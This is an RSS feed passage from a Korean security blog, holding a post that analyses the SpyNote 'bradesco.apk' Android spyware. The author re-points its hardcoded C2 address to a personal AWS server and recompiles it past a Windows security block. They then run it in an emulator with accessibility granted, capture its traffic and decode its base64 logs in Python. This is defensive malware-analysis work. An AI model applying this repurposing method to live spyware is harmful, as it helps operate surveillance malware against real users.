<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>wpgur-security</title>
    <link>https://wpgur.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Fri, 14 Aug 2026 05:03:01 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>우제혁</managingEditor>
    <item>
      <title>SpyNote - bradesco.apk 악성앱 분석</title>
      <link>https://wpgur.tistory.com/205</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;참고 자료&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://bazaar.abuse.ch/sample/2f922df9bde2e816064bbc23c5e4d4ec833f8f0d822c0f097f3b584ec81df032/&quot;&gt;https://bazaar.abuse.ch/sample/2f922df9bde2e816064bbc23c5e4d4ec833f8f0d822c0f097f3b584ec81df032/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://tria.ge/230421-qkhx6shf2t/behavioral1&quot;&gt;https://tria.ge/230421-qkhx6shf2t/behavioral1&lt;/a&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;외부 서버 접속 확인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 참고사이트에서 통신기록을 확인했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;635&quot; data-origin-height=&quot;174&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XGQrm/btsCQp8Qf2m/PUlC9ESgYpN7KHVpVLWK51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XGQrm/btsCQp8Qf2m/PUlC9ESgYpN7KHVpVLWK51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XGQrm/btsCQp8Qf2m/PUlC9ESgYpN7KHVpVLWK51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXGQrm%2FbtsCQp8Qf2m%2FPUlC9ESgYpN7KHVpVLWK51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;635&quot; height=&quot;174&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;635&quot; data-origin-height=&quot;174&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 코드 내부에 하드코딩 되어있는경우들이 있어 base64로 인코딩 하여 코드를 찾아봤다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 1.png&quot; data-origin-width=&quot;510&quot; data-origin-height=&quot;639&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dcW2PZ/btsCMyFwsfB/87nuYJqbKrKeO29Aq1VpU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dcW2PZ/btsCMyFwsfB/87nuYJqbKrKeO29Aq1VpU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dcW2PZ/btsCMyFwsfB/87nuYJqbKrKeO29Aq1VpU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdcW2PZ%2FbtsCMyFwsfB%2F87nuYJqbKrKeO29Aq1VpU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;510&quot; height=&quot;639&quot; data-filename=&quot;Untitled 1.png&quot; data-origin-width=&quot;510&quot; data-origin-height=&quot;639&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 역시 url 및 port가 하드코딩 되어있어 해당 코드를 찾을 수 있었다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 2.png&quot; data-origin-width=&quot;1614&quot; data-origin-height=&quot;373&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SnCFH/btsCN6Wd8z5/8YbF2MTNkqZDnuINSODPWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SnCFH/btsCN6Wd8z5/8YbF2MTNkqZDnuINSODPWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SnCFH/btsCN6Wd8z5/8YbF2MTNkqZDnuINSODPWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSnCFH%2FbtsCN6Wd8z5%2F8YbF2MTNkqZDnuINSODPWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1614&quot; height=&quot;373&quot; data-filename=&quot;Untitled 2.png&quot; data-origin-width=&quot;1614&quot; data-origin-height=&quot;373&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h1&gt;서버 통신 데이터 확인&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;코드 변경&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 기존의 포트가 아닌 임의의 포트로 코드를 수정해 주기위해 base64로 인코딩을 진행했다 (8088)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 3.png&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dUNoWE/btsCKQmkNGW/KuZDzhOGuq3My06twp9MX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dUNoWE/btsCKQmkNGW/KuZDzhOGuq3My06twp9MX0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dUNoWE/btsCKQmkNGW/KuZDzhOGuq3My06twp9MX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdUNoWE%2FbtsCKQmkNGW%2FKuZDzhOGuq3My06twp9MX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;601&quot; height=&quot;784&quot; data-filename=&quot;Untitled 3.png&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 apk easy tool을 사용하여 apk를 디컴파일했고 해당 코드 부분을 수정해주었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 4.png&quot; data-origin-width=&quot;481&quot; data-origin-height=&quot;119&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d096EO/btsCOAbJJFY/8gONT5hi1XBAzCLSndoCv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d096EO/btsCOAbJJFY/8gONT5hi1XBAzCLSndoCv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d096EO/btsCOAbJJFY/8gONT5hi1XBAzCLSndoCv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd096EO%2FbtsCOAbJJFY%2F8gONT5hi1XBAzCLSndoCv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;481&quot; height=&quot;119&quot; data-filename=&quot;Untitled 4.png&quot; data-origin-width=&quot;481&quot; data-origin-height=&quot;119&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 기존에 만들어 놓은 aws 서버 ip도 base64로 인코딩한뒤 코드를 수정해준다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 5.png&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;86&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sHaTc/btsCOEZyMIm/JTa47GSRk84PTbqTvLGGy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sHaTc/btsCOEZyMIm/JTa47GSRk84PTbqTvLGGy1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sHaTc/btsCOEZyMIm/JTa47GSRk84PTbqTvLGGy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsHaTc%2FbtsCOEZyMIm%2FJTa47GSRk84PTbqTvLGGy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;86&quot; data-filename=&quot;Untitled 5.png&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;86&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;aws 서버를 만드는 법은 다음 글 중간에서 확인 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://wpgur.tistory.com/204&quot;&gt;2023.12.28 - [Android] - SpyNote - certapp.apk 악성앱 분석&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[SpyNote - certapp.apk 악성앱 분석&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스파이웨어, SpyNote 일반적으로 사용자 데이터를 수집하고 그로부터 이익을 얻거나 간첩 활동을 수행하는 데 사용되지만 SpyNote는 현재 은행 사기에도 사용되고 있다. 다른 연구자들에 의해서도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;wpgur.tistory.com](&lt;a href=&quot;https://wpgur.tistory.com/204&quot;&gt;https://wpgur.tistory.com/204&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 6.png&quot; data-origin-width=&quot;597&quot; data-origin-height=&quot;810&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdr83a/btsCKpvA0A9/KJHjPSdW5XWwCM2fS664N0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdr83a/btsCKpvA0A9/KJHjPSdW5XWwCM2fS664N0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdr83a/btsCKpvA0A9/KJHjPSdW5XWwCM2fS664N0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcdr83a%2FbtsCKpvA0A9%2FKJHjPSdW5XWwCM2fS664N0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;597&quot; height=&quot;810&quot; data-filename=&quot;Untitled 6.png&quot; data-origin-width=&quot;597&quot; data-origin-height=&quot;810&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 7.png&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;525&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFBUrH/btsCG28FVNV/7hWKSwiHZVidwZujjNGsZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFBUrH/btsCG28FVNV/7hWKSwiHZVidwZujjNGsZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFBUrH/btsCG28FVNV/7hWKSwiHZVidwZujjNGsZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFBUrH%2FbtsCG28FVNV%2F7hWKSwiHZVidwZujjNGsZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;525&quot; data-filename=&quot;Untitled 7.png&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;525&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 코드 수정이 이뤄진뒤 compile을 진행해주는데 진행도중 윈도우 보안에 걸려 막혔지만 허용으로 변경뒤 다시 진행해줬다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 8.png&quot; data-origin-width=&quot;836&quot; data-origin-height=&quot;519&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LtEt2/btsCLob1QJM/6uTiiKPjw8rQpUKe4OK4a1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LtEt2/btsCLob1QJM/6uTiiKPjw8rQpUKe4OK4a1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LtEt2/btsCLob1QJM/6uTiiKPjw8rQpUKe4OK4a1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLtEt2%2FbtsCLob1QJM%2F6uTiiKPjw8rQpUKe4OK4a1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;836&quot; height=&quot;519&quot; data-filename=&quot;Untitled 8.png&quot; data-origin-width=&quot;836&quot; data-origin-height=&quot;519&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 컴파일된 apk를 녹스에 설치한뒤 해당 패키지를 adb shell로 확인하여 패키지명을 찾아낸다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 9.png&quot; data-origin-width=&quot;827&quot; data-origin-height=&quot;68&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmF8Uo/btsCP53FFMR/CkHAIVxvJ7ffbPszOD5SK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmF8Uo/btsCP53FFMR/CkHAIVxvJ7ffbPszOD5SK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmF8Uo/btsCP53FFMR/CkHAIVxvJ7ffbPszOD5SK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmF8Uo%2FbtsCP53FFMR%2FCkHAIVxvJ7ffbPszOD5SK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;827&quot; height=&quot;68&quot; data-filename=&quot;Untitled 9.png&quot; data-origin-width=&quot;827&quot; data-origin-height=&quot;68&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 dump명령어를 통해 메인 액티비티를 확인한다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 10.png&quot; data-origin-width=&quot;1049&quot; data-origin-height=&quot;423&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dmrHB0/btsCMxT678I/9BVzZnqet1oR3a6OqkIcG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dmrHB0/btsCMxT678I/9BVzZnqet1oR3a6OqkIcG1/img.png&quot; data-alt=&quot;keen.cache.explosion/keen.cache.MainActive&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dmrHB0/btsCMxT678I/9BVzZnqet1oR3a6OqkIcG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdmrHB0%2FbtsCMxT678I%2F9BVzZnqet1oR3a6OqkIcG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1049&quot; height=&quot;423&quot; data-filename=&quot;Untitled 10.png&quot; data-origin-width=&quot;1049&quot; data-origin-height=&quot;423&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;keen.cache.explosion/keen.cache.MainActive&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 앱을 다음 명령어를 통해 실행시켜준다.&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;adb shell am start -n keen.cache.explosion/keen.cache.MainActive&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 접근성을 부여하게되면 백도어로 실행이 된다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 11.png&quot; data-origin-width=&quot;1605&quot; data-origin-height=&quot;896&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/38AUp/btsCOC1Inuv/0wkUoJUwykuS1nSwqcmXkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/38AUp/btsCOC1Inuv/0wkUoJUwykuS1nSwqcmXkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/38AUp/btsCOC1Inuv/0wkUoJUwykuS1nSwqcmXkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F38AUp%2FbtsCOC1Inuv%2F0wkUoJUwykuS1nSwqcmXkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1605&quot; height=&quot;896&quot; data-filename=&quot;Untitled 11.png&quot; data-origin-width=&quot;1605&quot; data-origin-height=&quot;896&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에 생성한 서버의 리스너 코드를 통해 데이터를 받으려했지만 utf-8로 디코딩이 안되는 이슈가 있었으며&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 12.png&quot; data-origin-width=&quot;1365&quot; data-origin-height=&quot;160&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nLhLL/btsCEJhbreB/dGnbIIVa4swMovi0nYv8L1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nLhLL/btsCEJhbreB/dGnbIIVa4swMovi0nYv8L1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nLhLL/btsCEJhbreB/dGnbIIVa4swMovi0nYv8L1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnLhLL%2FbtsCEJhbreB%2FdGnbIIVa4swMovi0nYv8L1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1365&quot; height=&quot;160&quot; data-filename=&quot;Untitled 12.png&quot; data-origin-width=&quot;1365&quot; data-origin-height=&quot;160&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바이트로 받음으로서 해결해주었다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 13.png&quot; data-origin-width=&quot;1897&quot; data-origin-height=&quot;440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yXSS8/btsCJipR4Xr/iqwQo0J33XyMvNeCOWkAG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yXSS8/btsCJipR4Xr/iqwQo0J33XyMvNeCOWkAG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yXSS8/btsCJipR4Xr/iqwQo0J33XyMvNeCOWkAG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyXSS8%2FbtsCJipR4Xr%2FiqwQo0J33XyMvNeCOWkAG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1897&quot; height=&quot;440&quot; data-filename=&quot;Untitled 13.png&quot; data-origin-width=&quot;1897&quot; data-origin-height=&quot;440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;로그 파일 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 코드에서 로그 관련 코드를 확인해 경로를 확인해 준다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 14.png&quot; data-origin-width=&quot;1896&quot; data-origin-height=&quot;399&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0YfbQ/btsCMnxdCym/eto0sc2geXzwE5jUIGG4Vk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0YfbQ/btsCMnxdCym/eto0sc2geXzwE5jUIGG4Vk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0YfbQ/btsCMnxdCym/eto0sc2geXzwE5jUIGG4Vk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0YfbQ%2FbtsCMnxdCym%2Feto0sc2geXzwE5jUIGG4Vk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1896&quot; height=&quot;399&quot; data-filename=&quot;Untitled 14.png&quot; data-origin-width=&quot;1896&quot; data-origin-height=&quot;399&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 해당 경로로 접근하여 로그를 확인할 수 있었다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 15.png&quot; data-origin-width=&quot;1112&quot; data-origin-height=&quot;486&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4Zfhh/btsCJkaa0Zv/I5HsJQbSyKTvzxKBtIfW1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4Zfhh/btsCJkaa0Zv/I5HsJQbSyKTvzxKBtIfW1K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4Zfhh/btsCJkaa0Zv/I5HsJQbSyKTvzxKBtIfW1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4Zfhh%2FbtsCJkaa0Zv%2FI5HsJQbSyKTvzxKBtIfW1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1112&quot; height=&quot;486&quot; data-filename=&quot;Untitled 15.png&quot; data-origin-width=&quot;1112&quot; data-origin-height=&quot;486&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 로그는 base64로 인코딩 되어 있었으며 &amp;gt;를 기준으로 문자열을 받아 디코딩 해주는 코드를 제작하여 복호화 해줬다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 16.png&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;550&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OQ8b5/btsCDdJpkW3/lxNx1pkwCWDZDrdHbnHSNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OQ8b5/btsCDdJpkW3/lxNx1pkwCWDZDrdHbnHSNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OQ8b5/btsCDdJpkW3/lxNx1pkwCWDZDrdHbnHSNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOQ8b5%2FbtsCDdJpkW3%2FlxNx1pkwCWDZDrdHbnHSNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;923&quot; height=&quot;550&quot; data-filename=&quot;Untitled 16.png&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;550&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그 파일 디코딩 코드&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import base64

def base64_decode(text):
    try:
        # 디코딩 시도
        decoded_text = base64.b64decode(text).decode('utf-8')
        return decoded_text
    except Exception as e:
        # 디코딩 중 오류가 발생하면 예외 처리
        return f&quot;Error decoding: {str(e)}&quot;

def decode_log_file(file_path):
    try:
        with open(file_path, 'r') as file:
            # 파일을 읽어온 후 '&amp;gt;'를 기준으로 분할
            content = file.read()
            parts = content.split('&amp;gt;')

            # 각 부분을 Base64 디코딩하고 결과를 리스트에 저장
            decoded_parts = [base64_decode(part) for part in parts]

            return decoded_parts
    except Exception as e:
        # 파일 읽기 또는 디코딩 중 오류가 발생하면 예외 처리
